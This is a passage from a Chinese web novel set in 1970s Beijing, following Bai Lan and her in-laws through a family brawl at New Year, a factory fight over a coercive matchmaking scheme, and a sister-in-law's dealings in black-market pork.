瞬间，许建西转头对着许建北说道：“小弟，我改变主意了。这窝囊废我见了觉得拳头好痒。” 话音刚落，一阵拳头锤肉的声音响起。伴随着这声音的，还有男人的嚎叫声，以及女人的尖叫声。 白兰送完海菜回来，看着这热闹，拍手叫好。 大杂院的邻居们纷纷又跑出来看热闹。不忘嘀咕今天老许家太给力了。除夕还给他们来这么一出出热闹。真是看都看不及啊！ 最终，许建西一共挥出了七拳。从16岁下乡，到23岁第一次回家。一年抵一拳，拳拳到肉，总算是把这口恶气出了。 —— “行了，别装死。再在地上装死，我就给你踢几脚。” 揍完人后，许建西甩了甩拳头，觉得这年头老大能养这一身肉出来也真是不容易。 许建东本来还在地上边嚎叫边翻滚。听到这话，立马从地上弹了起来。那傻样儿，看得整座院子哄堂大笑起来。 隐身许久的苗大菊，忽然冒了出来：“行了行了。大过年的，就别闹着玩了。都赶紧回屋里坐，也不嫌外头冷啊！” 苏小妹听到那句“闹着玩”，瞬间气道：“妈，建东被个野小子打，你怎么不帮他啊！还有，三弟跟小弟，你们两也太不是东西了。你们大哥被外人打，居然不帮忙只会看热闹。跟你们当兄弟，真是倒了八辈子的霉。” 这话一出，笑哈哈的大杂院瞬间安静了下来。 大伙儿对着苏小妹指指点点起来。 苗大菊更是气得双手叉腰大骂：“你不是我生的，我不骂你。我就问老大。你仔细瞧瞧，到底是谁打你。” 许建东早在一个照面就认 出了许建西。只是许建西动手太快了，他的质问发不出来。听到亲妈的话，许建东不吭声了。 苏小妹总算不是傻子。立马就意识到了什么：“不可能，不是说老二去了海岛，一辈子回不来了吗？” “呵呵，你再啰嗦，我就让你们夫妻滚出去。”苗大菊阴恻恻地说道。 —— “许建东，你二弟怎么回来了。” 被人白打了，许建东最终只能拉着苏小妹躲屋里搽药酒。听到这话，喝道：“你问我，我问谁！那短命鬼，晒得黑不溜秋的，居然还能回来。” 苏小妹一听也生气。她不气许建东骂她，只气许建西这垃圾玩意儿打她男人。而且还在这时候回来了。 哼，真是倒了八辈子的霉。本来她又想到了一个好方法占房子的。现在许建西回来，自己的盘算是真彻底落空了。 堂屋里，许建西一副没事样儿，给两个没见过面的侄子掏糖吃。那种祸不及妻儿的态度，十分让人赞赏。 “你二哥真是个男人！”白兰小声跟许建北说道。 许建北骄傲：“那是，二哥这人特厉害。” 虽然是这样，但白兰回忆了一遍剪辑的短剧精华，好像从头到尾，都没有许建西的出现。 第46章 第46章许建西的任务，二姐打人…… “哦，养猪场啊！居然有这么多猪肉。我们岛上要吃猪肉可难了。鱼肉倒是顿顿都不缺。” 年夜饭的饭桌上，许建西眉飞色舞地跟家人们说着海岛日常。在他口中，岛上到处都是吃的。满地椰子，海里都是海鲜。一渔网下去，真是吃都吃不完。每天赶海，那海鲜更是白捡的。 听着让人十分向往。大房的两个孩子更是听得流口水。扒拉着许建西就喊着二伯我要去。 桌上其他人则不同。一看许建西那黑黑瘦瘦的样子，就知道这几年过得不好。但大过年的，也没人说扫兴的话。当然，除了许建东夫妻两之外。这两人的表情，简直跟整个许家格格不入。 白兰还以为他们会再闹幺蛾子，不过直到饭都吃完了，这夫妻两都没啥动静。看来真是被许建西的铁拳吓到了。 高兴的日子就这样过了三天，初四一早，许建西就开始出门。大家都以为他就是出去闲逛。哪成想从这天开始，许建西就早出晚归起来。要不是他就住隔壁，白兰都快要忘记对方的存在了。 “建北，你二哥怎么天天都那么晚回来？” 许建北摇头：“他没说，爸妈问过了，二哥说是岛上的事情。” 白兰也就是好奇问一句而已。问过后她又说起了大头学车的情况。 “听三哥说大头学得特别快。估计下个月就能送去考证。” 许建北：“等拿了证送他去运输公司当个临时司机。好歹能有个正经营生。” 一说这个，白兰就忍不住感叹：“临时工要转正也难。像艳子那边，回收站太多关系户了。听说过年的时候，不少人往站长家送礼。秦叔这人正直没送。艳子说自己这转正估计没戏了。” 这种事情确实没有办法，总不能跑去举报那些送礼的同事。 直到睡觉前，白兰还在感慨自家兄弟姐妹四个运气好。各个都是正式工，不用再费劲跑关系走礼。 结果第二天，白兰正在纺织厂后厨工作的时候，就有人直接冲过来跟她说：“白兰，赶紧过来。你二姐在车间跟人打架啦！” —— 二姐白梨那样温柔的人，会跟人打架？不说白兰了，就是后厨这些认识白家的人，都知道白家二闺女是个软趴趴的性子。 这样的人会跟人打架？被人打还差不多。 白兰也是这样想的。生怕二姐被人打得狠了。顾不得双手还沾着面粉。跟着报信的人就直接往车间那跑。 结果到了车间，看着二姐压在一个苗条的女人上头，白兰震惊了。 周围人都在劝二姐：“白梨，你先松开许美丽。” “就是啊！你们不是好姐妹吗？有误会说开了就好了。打人不好！” “是啊是啊！有话好好说。” 听着周围人都是劝二姐松手的话，没有一个人问二姐为啥要打人。白兰就有点不舒服了。 她立马伸手把人群拨开，直接大喊：“二姐，这个女人是不是欺负你，你才反抗的！” 白兰是清楚二姐的。除非加班，一般下班后就立刻回家帮大姐带小孩。而且她性格比较文静内向，根本没听说在厂里有什么好朋友。现在冒出一个什么好姐妹，听着就让人怀疑。 白梨满脸通红压着许美丽不放，周围人的议论声音更是让她耳朵嗡嗡响。但小妹的声音却不同，听到后她立刻抬头看向小妹，双眼迸发出亮光：“小妹你来啦！这人……许美丽她……” 看着二姐一副想说又气得说不出话来的样子，白兰顿时就知道肯定是发生了什么很过分的情况了。 就在这时，车间主任也出现了。 看到眼前的情况，开口就问到底怎么一回事。 车间组长的话倒是公允，就说上班上得好好的，许美丽不知道说了什么，白梨摇头，许美丽再说，边上的人起哄。然后白梨生气，直接就冲许美丽骂了几句。再之后没人看清楚，反正两人就打起来了。 白兰这时候也看清了二姐的情况。大冬天穿着衣服，里面受没受伤不知道。但二姐的手背被指甲刮伤了几条血痕倒是真的。 那头的许美丽更是急急道：“是白梨先动手的。不信，你们可以问生产线的其他人。” 其他女工有人点头有人不吭声。这场景一看就知道还有隐情。 白兰不耐烦这些人磨磨唧唧，直接看向那组长：“你说周围女工起哄过后，我二姐才会跟这什么许美丽起冲突对吧。” 车间组长认识白兰，听到后点头。她其实也不太懂为啥白梨忽然会生气打人。这跟印象中的白梨差太远了。 “所以，你们到底起哄啥？” 白兰把目光转向跟二姐同一条生产线的女工。这些女工都是纺织女工，几个人就一条线，半机械操作。车间的机械声音大，灰尘多，说话小声点都可能听不到。 所以，肯定不止这几个人，隔壁线上应该也有人听到谈话的内容。 但那几个女工吞吞吐吐一副不想说的样子。最后白兰看向这个什么许美丽。她还真不知道有这号人物。什么时候冒出来的。 白梨却在这时候开口了：“小妹，许美丽一直在说她哥喜欢我，让我当她大嫂。我不乐意，但这些人都在说我跟许美丽大哥谈对象……” 这话一出，不说白兰，几个过来调解的领导表情都变得十分难看。 这大庭广众之下，当面这样造谣人家，难怪老实人发火了。 “没有……” 几个女工当然不承认，一个个都在说自己没有造谣。 白兰看看这几个女工，又看看那个许美丽，大概知道是怎么一回事了。 “主任，这个事儿厂里必须严肃处理。这无端端造谣女同志的名声，性质太恶劣了。” 白兰这一句，直接把事情就定性在那了。 这下，一直嘴硬的许美丽终于知道害怕了。 “我没有，不关我的事。我就是觉得白梨人特别好，又温柔又会照顾小孩，就想着让她当我大嫂。” 温柔=好拿捏 会照顾小孩=白干的保姆 特别是这许美丽看着都有二十岁了，她大哥最小也得二十一二。这年头，二十一二的男人大多数都结婚有小孩了。 所以，这样的人，又有这样的妹妹，找上她二姐，图啥呢？ 很快，白兰就知道图啥了。 —— “许强，是钢厂技术科的行政人员。十六岁就结婚了，今年二十二岁，已经有三个女儿了。他妻子是在生第三个女儿的时候难产没的。听说家里还在催着赶紧找媳妇，好生儿子……” 白家的堂屋里，许建北说着他打听来的内容。还没说完，白爸爸就已经狠狠拍了桌面一掌。 这样的男人，居然有人敢把自家闺女说一起。简直是欺人太甚。 白兰表情也十分难看。果然她上午在厂里听到的什么温柔会带小孩，真就是自己理解的那种意思。而且，这个什么许强，该死的。她想起来了，白苹那本致富笔记本里，这个人的名字，就跟二姐连在一起。 那时候她就猜这人会不会是原剧中二姐的对象。 结合今天的事情，白兰就知道肯定是了。原剧中，十有八九二姐最后就嫁给这么一个男人。这样一想，白兰有种吞了苍蝇的恶心感。 她不歧视带孩子的鳏夫，但是她恶心这种拼命要生儿子，最后把媳妇生没了的男人。而且，22岁就当了三个孩子的爹。这许强的媳妇结婚后，怕不是在生小孩，就是在生小孩的路上。 这样的人，简直炸裂。 “那许美丽是什么时候开始，就在你跟前说要撮合你跟她大哥的？” 白大姐开始仔细地询问起白梨。这个事情很重要。如果很早就开始的话，那说明对方真的是处心积虑。想想要不是白梨今天爆发出来，怕真到哪一天就糊里糊涂嫁给这样的人。 不是白大姐夸张，而是自家二妹就是这样容易被人欺负的。 “两三个月前就开始说了。一开始我没在意，直接拒绝了。但后来她老是在我耳边念叨她大哥的优秀，大哥的不容易，大哥孩子的可怜……” 白大姐：“那你就真可怜上了啊！” 白梨确实可怜了。但她知道好歹，在许美丽邀请她去看那几个小孩的时候，直接拒绝。再那之后，许美丽就老是带孩子来厂里走动。她是躲都躲不开啊。 白大姐听着二妹的叙说，没好气地伸手点了点她的脑袋：“你啊你，性子强硬点好吧！” 白保卫见双胞胎姐姐沮丧的样子，忍不住说道：“二姐今天不就爆发了吗？” 白兰：“幸好今天爆发了，不然按照那许美丽的手段，怕不是周围人都以为你跟她大哥谈对象了。” 这不是瞎话，而是事实就是这样。 今天上午在厂里的时候，白兰后来仔细询问过那几个起哄的女工了。发现她们真的以为白梨在跟许美丽的大哥谈对象，所以才会起哄的。而不是故意搞事情。 能让周围人有这样的认知，真哪天许美丽弄些肮脏手段陷害二姐。怕不是大家都以为二姐是自愿的。 这样的结果，想想就恐怖。甚至，白兰都怀疑，原剧中的二姐，就是被许美丽陷害了，不得不嫁给许强的。 今天二姐爆发了，厂里的领导也严肃处理来许美丽跟那几个起哄的女工。现在不说别的，最起码整个车间的人，都知道白梨跟许美丽的大哥没有任何关系。 “厂里给你放了两天假。你就在家里好好休息一下缓缓。跟你大姐、小妹取取经，性子再强硬一点。你爸我也去找人看看那什么许强，到底是什么垃圾玩意！” 白爸爸一锤定音，白家人纷纷响应。 白兰也没在家里吃晚饭。说开了后，就跟许建北回老许家了。 不过一出门，就看到院子不少邻居齐齐看了过来。一个个眼中都充满了好奇。 白兰是知道这些人的嘴巴的。也不隐瞒，三言两语就把事情的来龙去脉说个清楚明白。 不说清楚，她怕这些人误会二姐真跟那垃圾许强有关系。 听完白兰的话后，大伙儿齐齐抽了一口凉气。 “哎哟，还有这样逼人家小姑娘的啊！那叫许美丽的，也太黑心了吧！” “那可不？旧社会的时候，我有个姑姑，就是被人用这样的手段，给个混子沾上的。”万大妈义愤填膺地说道。 这老大妈其实也是个嘴碎的。难得说话那么公允，白兰忍不住点头称是。 不说旧社会也不说七十年代了，就是两千年以后，这种事情也时有发生。白兰记得自己初中的班花，就是因为被人传言说她跟校霸是情侣。从一开始的抗拒到最后的不情愿同意处对象。整个过程，起哄的人起最大的作用。 最后，校花成绩下跌，校霸跟她处对象腻了，又换了新的女朋友。 总之，那会儿白兰就觉得，除了校霸，那些起哄传谣的人最恶心。 不过，白兰也在想，原剧中肯定没有二姐打人这一出。不然二姐后来不会嫁给许强。所以，二姐到底怎么会有这样的改变？ 回到许家，正好饭菜也做好了。 难得的，许建西会出现在饭桌上。而且，饭桌上居然有一盆油汪汪的红烧肉。 见他们夫妻回来，苗大菊没有打听白梨的事情。笑眯眯喊道：“赶紧来吃饭。这肉可是建西带回来的。新鲜得很。” 许建西：“是啊！这肉可是现杀的好猪肉。今天我去山上那个隐秘的养猪场了。好家伙，这猪可不老少。” 一听那又有猪供应了，柳美玲双眼一亮，推了推许建南。夫妻两都准备去那继续拉猪肉。要知道年前那几天，多亏了肉源稳定，他们狠狠地赚了一大笔。 白兰听到肉特别多，就觉得有点子奇怪。这年前的猪都卖完了。怎么着也得要一年半载，小猪崽才能长大吧！ 这让白兰更加确定，那个养猪场的猪是从不同渠道供应过去的。并不是全部都是养猪场养的。 虽然奇怪，但有稳定的肉源，对于目前来说是件好事。 许建西也没再说猪肉的事情，反倒是说起了他们岛上的任务。其中有一个采购任务，就是螺丝厂采购一批渔船专用的钉子。 许建北一听是渔船专用的，就摇头：“这种钉子对材质要求比较高。厂里没有库存的，要现做。二哥，你们那的单位，有给我们厂里发采购函不？” “发了，年前就发了。我今天接到农场的通知，说是让我去钢厂一趟，看看那边的材质符不符合农场的要求。” 第47章 第47章神秘的二哥，许强的目的…… 狭窄的筒子楼里，走廊是各种嘈杂的说话声。屋里是各种小孩子的哭闹声。许美丽听着都觉得烦躁。所以，在她哥许强问起今天事情的经过时，许美丽说话格外难听。 “哥，白梨那女人把事情闹大了。这女人平时看着软啪啪的。没想到关键时候居然那么狠。” 想到今天白梨打自己的过程，许美丽就觉得浑身酸疼。更可恶的是，厂里居然偏袒这贱人，罚了自己的奖金不说，还要被罚去清扫厂里公厕一个月。这一个月要是表现不好，厂里有权开除自己。更加不用说档案还被记了一笔。以后评职称都有困难。 开除啊！出去问问，谁家好单位会开除正式工人的。她也只不过是想把白梨哄回家而已。这贱人不答应就算了，居然还倒打一耙。 越想越生气，许美丽朝还在哭的小婴儿怒吼：“哭哭哭，该死的赔钱货。再哭就把你扔公厕里面。” 这话一出，那还在哭的小婴儿仿佛听懂了那般，忽然就停止了哭泣。 许强见妹妹这样生气，倒是十分淡定。 “这白梨也是你说好拿捏，家里条件又好，哄来咱家可以带孩子。现在不行就算了。反正你不是说她家姐妹多，出嫁的大姐也生了两闺女吗？这样的人家，怕不是只有生女儿的命！” 说是这样说，但许强怎么想就没人知道了。 —— 第二天一早，许强照常去上班，一副什么事情都没发生的样子。 钢铁厂跟纺织厂距离不近，所以那边发生的事情，钢厂没人知道。 但当许强看到许建北，带着个跟他长相相似的男人来到技术科后，表情微变。 昨天二哥说了钢铁材质的事情后，许建北一早就先带着二哥去了趟螺丝厂。等拿到各种文件后，哥两就直奔钢铁厂。 没想到一到技术科，第一个见到的人就是许强。 许建北是钢厂技术科的常客了，就是曹昌盛也是技术科的。但技术科里面又分了不少组别。除了技术工人还有行政。而许强所在的组别，跟许建北并没有工作交叉。所以，在昨天之前，许建北对许强的印 象，只有这个人的脸。 但昨天之后，他就知道这人叫许强，有个妹妹叫许美丽，在纺织厂想哄骗白兰的二姐。而且这事儿十有八九许强是知晓的。 所以，听到对方跟自己主动打招呼，许建北只点头没怎么理会对方。许强见状，脸色难看。 很快，曹昌盛冒了出来。带着许建北兄弟两直奔技术科科长办公室。 许强看到后，好奇地问办公室其他人：“那两人来厂里干啥？没听说螺丝厂有什么订单啊！” “哦，许建北啊！好像是南边那有单子给到螺丝厂。螺丝厂那边就缺什么比较特别的钢铁材料。” 钢厂生产的钢材，根据杂质含量、硬度、耐磨度等等，可以细分出各种不同类型的钢材。而螺丝厂生产的螺丝，大众的还好说。一些特殊用途的螺丝，需要使用特殊的钢材来定制。 这中间就需要不同工厂的配合。 许强听到南边来的单子，表情微变。笑笑转移话题，又聊起了其他东西。 —— 另一头，白兰一早来到厂里上班，自然又被问起了二姐打人的事情。白兰直接把来龙去脉一说，加上厂里昨天就出了通报评批，所以说闲话的人不多。但也有人觉得白梨这样的性格条件，跟许美丽的大哥其实还算配得上。 这样的话被白兰听到后，自然只能得到一顿狂怼。至于那些人说二姐这样的性格，估计以后还会遇到这样起哄的事情。 这个白兰其实也是有点担心的。昨天后来大姐来找过自己，说二姐之所以那么勇敢站起来说不。是因为被大姐离婚的勇气所鼓舞。 这个原因白兰听到后十分肯定。确实，大姐白莲离婚的举动，在七十年代简直称得上聪明的女人。 所以，白兰希望白梨不要只学大姐的勇气。还要学习大姐的为人处世。 本以为这个事情暂时告一段落了。结果到了傍晚，许强居然带着许美丽，拎着一堆礼品上门道歉来了。 许强兄妹上门的时候，白兰正在婆家吃晚饭。听到外面的动静，放下碗筷就出门。结果正好看到许美丽嘴巴叭叭正嘀咕着什么。 对方也马上看到白兰，随即朝白兰露出一个挑衅的笑容。 白兰眼神微眯，但并没有生气。她一贯不跟垃圾人生气的。只是，这许家兄妹到底来做什么。 很快，白兰就知道这兄妹的来意。居然是上门来道歉的。 —— “道歉？不接受。以后离我们家远点儿。我闺女就是不嫁人，也不会嫁给你们这样的人家。” 白爸爸双手抱胸站在廊下，居高临下地瞪着眼前这兄妹两。 许强一副讨好地模样说道：“伯父，一切都是误会。我妹妹年轻不懂事，又担心我家里的几个孩子，所以才会做错事的。你大人有大量，就原谅她小孩子不懂事。” 说着，许强啊手里提着的礼物朝白爸爸方向递了递。 东西有水果罐头、有大白兔奶糖。更加精贵的，是里面还有一条约莫五斤左右的五花肉。 这礼不可谓不轻。不少邻居见到这重礼后，纷纷心动不已。但他们都知道白家不缺这点吃的。所以也没开口劝什么。只心里懊恼，怎么这许美丽不得罪自家呢。要得罪的是自家，怕不是自家要发了。 “滚……”白爸爸再吃一次说道。随着他话落，白保卫、许建北也站了出来了。 这儿子跟女婿都出现了，许强这才确定白家人是真不稀罕自己的重礼。 他转而看向许建北：“许同志，咱上午还见过面呢！你是知道我的，我这人不是那种坏的。昨天的事情确实是我妹妹做得不对。我……” 许建北摆手：“许强，这事儿厂里已经定性了，你就别在这里纠缠。你要真是好的，以后就离白家远点儿……” 一个两个那样态度强硬，许强知道这是彻底没有转圜的余地了。 叹息一声，接着朝白家人点点头，这才带着许美丽往外头走。 “这人看着还挺有礼貌的。”许强的这一番作态，立马就得到了不少人的夸赞。 白兰原地翻了个白眼儿，心想这人这样装蒜，还真恶心人。 —— 而出了大杂院的许家兄妹，还没走出胡同呢，迎面就撞到了苏小妹。 苏小妹今天偷偷往娘家送了点在婆家抠出来的肉，所以回来就晚了些。她着急忙活，就怕错过家里的晚饭。没想到快到大杂院，居然被人给撞得跌到在地。 于是，她人还没起来呢，就朝撞到自己的许美丽大吼大叫：“瞎了你的狗眼。我那个大大个人居然都没看到。” 许美丽也不是个会忍的，立马就想抬脚踹苏小妹。 但就在她抬脚的那一刻，许强忽然露出歉意的笑容：“这位同志，真是对不住了。我妹妹不是故意的。你受伤了没有？” 说着，许强就把苏小妹从地上拉了起来。 这一番操作把苏小妹弄懵了。随即她感觉到自己的手臂被许强拉着，想大喊耍流氓。 但下一刻，许强已经放手，并且把手里提着的礼物往苏小妹的手里塞。 “东西是给你的赔礼，希望你没有受伤。” 说完，许强一副潇洒样儿，转身就带着许美丽走了。 苏小妹哪里见过这样的阵仗，人都呆了。不过几秒钟后，感受到手里沉甸甸的礼物。还有那条油光水滑的五花肉。苏小妹心里乐开了花。 —— 白兰刚准备装汤，抬头正好看到苏小妹一副做贼的模样，抱着一堆东西从外头回来，直接就钻她自个儿屋里去了。 这让她十分疑惑。因为她虽然嫁过来没多久，但却了解苏小妹。这人不占便宜会浑身不舒服。最近许建西回来，家里顿顿都有肉。怎么着，苏小妹回来第一时间都是往饭桌跑的。 不过白兰也没等多久，晚上大家各自回屋休息后，厨房那就响起锅碗瓢盆的碰撞声音。 苗大菊以为家里遭贼了，打开屋门一看，就看到苏小妹正在厨房那切肉。 昏黄的灯光，把五花肉的肥油映衬得格外吸引人。 “你这肉哪里来的？”苗大菊作为家里的掌勺，自然认出这块肉不是家里。 苏小妹被吓了一跳，但还是梗着脖子说道：“我娘家给我的。” 这话说出来，真是鬼都不信。但大晚上的还冷飕飕，苗大菊是真没心情跟这孬货掰扯。 婆媳两人的动静，白兰听得一清二楚。转头就跟许建北说笑道：“你大嫂那五花肉，不会是从许强那得到的吧！” 说话的时候，白兰还是开玩笑的。但马上她就脑洞大发，越想越觉得是那么一回事。 今天五花肉也就出现过两次。许强前脚一走，苏小妹后脚就回来。说不定自己还真猜对了。 许建北也看懂了白兰的意思，想了想说道：“还真有这可能。不过许强把东西给大嫂，目的呢？” 这个倒是说不通。 白兰暂时丢开这个话题，又问起今天许建北去钢厂的情况。 “没见到宋国平，不过听说白苹最近都没怎么出现。” 许建北说了两句宋厂长家的事情后，就提了提二哥的那个螺丝。 “设计图看了，十分精密，看着不像是普通船只要用的。具体的不能说。等钢厂那边的材料到位，我可能要去厂里住一段时间，加班加点把那螺丝赶出来。” 白兰点头，到时候她也可以跟着去。反正他们家在螺丝厂是分了一个一居室的。想到这，她又觉得二哥好像挺神秘的。原剧中没有出现过的二哥，现在又发现二哥拿出来的东西不简单。 那么，二哥是不是像那些年代文那样，从事什么保密工作？ 第48章 第48章搬家吃肉 “被褥要不要多带一套过去？这快开春了，天气冷得很？”苗大菊靠在白兰屋门口，看着她跟许建北收拾行李。忍不住念叨起来。 “妈，不用。那边留了两套被褥。而且，还有炭盆。屋子面积小，冷不着的。”许建北笑着说道。 白兰跟着点头。螺丝厂的那个一居室，当初是她一手布置的。里面的东 西够他们夫妻两用的。 想到要在螺丝厂住半个月，白兰其实也挺期待的。 前两天钢厂那边的材料有了结果，他们螺丝厂这边就要进行开模了。许建北作为技术人员，是一定要到场的。白兰当然也想跟着他一去。 三人正说着话呢，空气中传来一阵肉香味。 苗大菊立马止住话头，瞪了一眼大房的方向：“真是钱多烧得慌。天天躲屋里吃肉。生怕人家要吃她的。” 自从那天苏小妹半夜偷吃五花肉后，这几天家里的肉味就没消过。院子有人笑话苏小妹这做贼的样子。但苏小妹大声嚷嚷说肉是娘家带回来的。自家吃完并没有毛病。 反正白兰也不贪苏小妹那点肉，所以她就当苏小妹不存在。但苏小妹特别会找存在感。 见他们都不馋她那块肉，又拿了水果罐头出来。 由此，白兰才确定那天苏小妹回来带着的东西，居然是许强给的。 这两人简直是八竿子打不着北的关系。白兰实在好奇他们怎么搭上线的。 —— 大房屋里，苏小妹见喷香的肉味并没有引起家里其他人的反应。那种想要炫耀的感觉再次挫败起来。 “哼，我看他们就是馋肉又不好意思说。”苏小妹只能在许建东面前找找存在感。 不过许建东没有理会他。只一味往嘴里塞肉。等肉吃得差不多了，这才剔着牙问：“给你肉的那兄妹两，真说有办法买肉啊！” 苏小妹点头：“反正我这几天出门，老是遇到那个当妹妹的，好像叫什么许美丽。她不就是想给她大哥找个对象吗？那白梨不喜欢人家也不早说清楚，吊着人家不说。事儿出来后，还倒打一耙。真是不要脸。怪不得白兰也是这德性。这老白家……” 许建东不耐烦听这些家长里短，摆摆手：“别说你们这婆娘事儿。你就说说那肉能买多少。我在这岗位也那么几年，想挪动一下。我们科长的媳妇最近怀上了，听说到处找肉呢……” 一听有好处，苏小妹更加积极了：“好好好，这个事儿铁定没问题。许美丽说了，她家认识养猪场的人。” 因为这个养猪场年前就忽然火起来。家里的肉也是在那买的。所以许建东一点都没有怀疑。反而是得意起来：“老三跟老四这两滑头，过年的时候问他们肉哪里弄的还不肯说。哼，现在咱也有门路的。这次咱去弄两条大猪腿回来，往科长家一送，保准工资能升一级……” —— 大房夫妻的小算盘打得噼啪响。不过无人在意他们。 大伙儿反倒是看着白兰跟许建北，推着自行车，载着行李出发搬去螺丝厂。纷纷羡慕起来。 “还是白兰好命，嫁的人分了筒子楼。” “可不是嘛！当初咱怎么没想到要把自家闺女介绍给许建北呢！” 边上有人在那羡慕白兰夫妻两住筒子楼，胡寡妇却不知道从哪里冒出来。忽然就来了这么一句。 那人一听就笑了：“就你家爱花那初中都没必要的，能配得上人家许建北不？” “我家爱花怎么啦！她马上就要转正了。谁家闺女还没二十就能熬到一个正式工的……” 这话一出，大伙儿都震惊地看向胡寡妇。 前头回收站今年的转正名额还没工作，大伙儿都在猜到底是谁能转正呢。没想到胡寡妇这样说。顿时，女儿也在回收站当临时工的秦婶子就不高兴了。 但她也没说啥，因为她知道胡家跟回收站站长家关系好。只能先回去跟家里人商量，看看是不是走走其他门路，给闺女的工作转正。 —— 白兰没想到自己就出门住住筒子楼，院子里的事情已经转变成这样。反正跟许建北并排骑着自行车，载着行李在大街上，那种感觉还挺神奇的。 “等到了厂里安顿好后，我就要去车间报道。家里不开火，吃饭去食堂解决就好。” 骑着自行车说话不方便，许建北也没说太多。只简单地重复了几句，之后夫妻两就没再说话。 车子很快就到了螺丝厂。 在家属区登记过后，白兰很顺利就跟许建北到了自家那一居室。 房子在家属区三栋301，刚好是边户。靠着水房，洗漱特别方便。要是另外一个边户的话，那只能跟厕所作伴了。 夫妻两来得低调，不过很快楼里的人都知道了。大伙儿对白兰还是很好奇的。不等白兰他们收拾好，就已经有人上门来了。 “北哥、嫂子。我还说你们怎么还没到呢！” 白兰笑着看向曹昌盛：“你来得可真快。” 许建北已经直接开口指挥曹昌盛帮忙打水了。那不见外的样子，让白兰再次笑了起来。 那头，许建北已经问曹昌盛钢厂那边的进度。 “说是这两天咱干活的时候，他们也会派人过来协助。” 说起工作的事情，白兰没有过问。把床铺整理一番过后，就开始收拾衣服。等外头的卫生搞好后，外头已经有不少人在说说笑笑了。 白兰认得人都是技术科的，笑着跟他们打招呼。然后用眼神询问许建北要不要请客吃饭。 许建北摇摇头，白兰就不说什么了。 果然，这些人在这里帮忙干完活，又喝茶吃花生聊了半个小时，就一起告辞了。 “咱这里不流行吃开伙饭。”真要情况，那请一次，几个月的供应都要吃没了。 “行，等过两天我抽出空来，做些好吃的糕点，你带去科室给他们尝尝。” 又过了一会儿，见东西都说是妥当后。夫妻两人关上门就下楼准备去外头吃饭。 今天放假，两人都想去外头的国营饭店搓一顿。 结果到了地方，居然看到苏小妹跟许美丽说说笑笑进了国营饭店。 白兰疑惑看向许建北：“这两人关系真那么好啊！” 许建北摇头：“看情况再说。” 虽然不喜欢大嫂，但人家要交什么样的朋友，他们也没权利阻止。 两人直接进了国营饭店，果然就看到苏小妹跟许美丽已经找了位置坐下。看到他们夫妻两，居然还好好地跟他们打招呼。 “哎哟，刚听苏大姐说你们两住筒子楼去了。没想到就遇到你们。” 这样熟稔的语气，听得白兰忍不住皱眉。 苏小妹也一副热络的模样：“小弟，你们夫妻两这是馋肉啦！我就说……” 白兰不想听她叨叨，当没听到一般直接跟许建北去点菜了。 见他们态度这样冷漠，这两人就不说话了。一点儿挑衅的意味都没有。让白兰暗自准备好的台词都用不出来了。 两个那么嚣张的人忽然变样子，真是让她有点不习惯。 不过，很快白兰就听到了两人说话的声音。准备来说，其实就听到几个单词。主要是国营饭店人太多了。 但光是听完那几个单词，白兰就看向许建北，小声问：“你管不？” 许建北想想刚听到的话，摇头：“我跟妈提提。” 家里大嫂的事情，他妈不让他们管。都是她自个儿管的。说是大嫂这样的人，她当婆婆的最能制住。 夫妻两人也没多说，吃完好吃的起来，就发现那两人不见踪影了。 第49章 第49章献殷勤 “这肥油可是有两指厚，你去肉摊绝对买不到。” “哼，你们谁有买过这样好的肉。这样的好货，根本出不来屠宰场。” “哪里买的？那我不能告诉你。你们想要的话，下次我去买的时候，辛苦点帮你们带也不是不行。” 白兰提着一条大鲤鱼刚进大杂院，就听到苏小妹那咋咋呼呼的声音。语调中那种得意，真是挡都挡不住。 等走过月亮门，就看到好几个大妈正围着苏小妹。而苏小妹手里提着的，则是一块大肥肉。阳光下，那肥油真是亮得发光。 苏小妹正口沫横飞地炫耀着自己买到的大肥肉。冷不丁抬头就看到白兰拎着条大鲤鱼进来，瞬间就垮下脸来。 “哎，白兰。怎么这时候过来？” 有人开口询问，白兰笑笑：“我爸朋友弄了条大鲤鱼，让我给家里送过来。” 白兰昨天跟许建北搬到螺丝厂的筒子楼，大家没想到不过一晚上，白兰居然就回来了。现在一听是回来送鱼的，纷纷看向她手上的大鲤鱼。 也有邻 居在那嘀咕，这老许家的两个儿媳妇可真是厉害。不是鱼就是肉，真是好命。 苏小妹见白兰抢了自己的风头，不乐意了：“哎哎哎，你们还要问什么？不问的话，我这就回屋里去了。” 那得意样儿，不知道的还以为她这是买到龙肉呢。 白兰直接翻了个白眼儿，拎着大鲤鱼直接回到自家。 —— 白家堂屋里，白妈妈见到大鲤鱼，立刻说：“怎么不送你婆家去？” 白兰耸肩：“这真是爸让我送回来的。我们食堂大师傅有门路弄了些鱼过来。分了爸一条，让我直接带回家。” 至于给婆家，那不可能。这鱼就是她爸的啊。而且，婆家那边大房两口子最近老是搞小动作。她也不想便宜这两人。 白妈妈见状也没再说这个，而是问起螺丝厂的居住情况。 “挺好的，就是有点吵。筒子楼的人多，走廊动静比较大。” 这是白兰的真实感受。不过，筒子楼也有好处。就是厕所比公厕要干净不少。 白兰又说了几句后，就准备出门回食堂了。 不过一出来，就被婆婆叫住。两人直接走到了外头胡同，见周围没什么人了。苗大菊开口说起苏小妹的事情。 “建北今天一早给家里打电话了，说你大嫂偷偷摸摸跟那个叫许美丽的女人去山上买猪肉了。我还当他听错了，没想到你大嫂还真有这胆子。小兰，这个事儿我待会儿就说说她，不让她再干这种事。” 白兰点头，也没多说什么。许建北跟家里提个醒儿，不是嫉妒大房有门路买肉。而是怕苏小妹这么高调，把投机倒把办的人引了过来。到时候连累到二房的卤肉买卖。 本以为这个事情到了这里就算告一段落了。 但没过两天，白兰在纺织厂食堂后厨工作的时候，就听说了许建东要提职级的消息。 —— “真是恭喜你了。” 白兰听着食堂大妈们的恭喜，真是有点囧囧的。 而且，许建东那种草包，怎么可能开年就升职加薪。这简直有点魔幻了。 但很快，白兰就知道这次升职加薪，是许建东给他领导送了一块五斤的大肥肉起了作用。 这个消息没有传播出去，但也有人知道这个消息。于是，就有人找许建东帮忙买肉。有些人认识白兰，知道许建东是她男人的亲大哥。所以跑来找白兰牵线搭桥。 这个结果简直让白兰无语子了。 许建北好不容易加班回家，听到这个消息后，叹气：“我就知道大哥、大嫂干不出什么大事来。” 不说偷偷摸摸买猪肉了，就是送礼也搞得那么多人知道。真是嫌命不够长似的。 而且，他没记错，这肉还是通过许美丽那弄来的。 然后，大房两口子就真的帮人代购起猪肉来了。 这个走向，白兰真是看不懂了。 对这个结果，最怄气的就是柳美玲了。 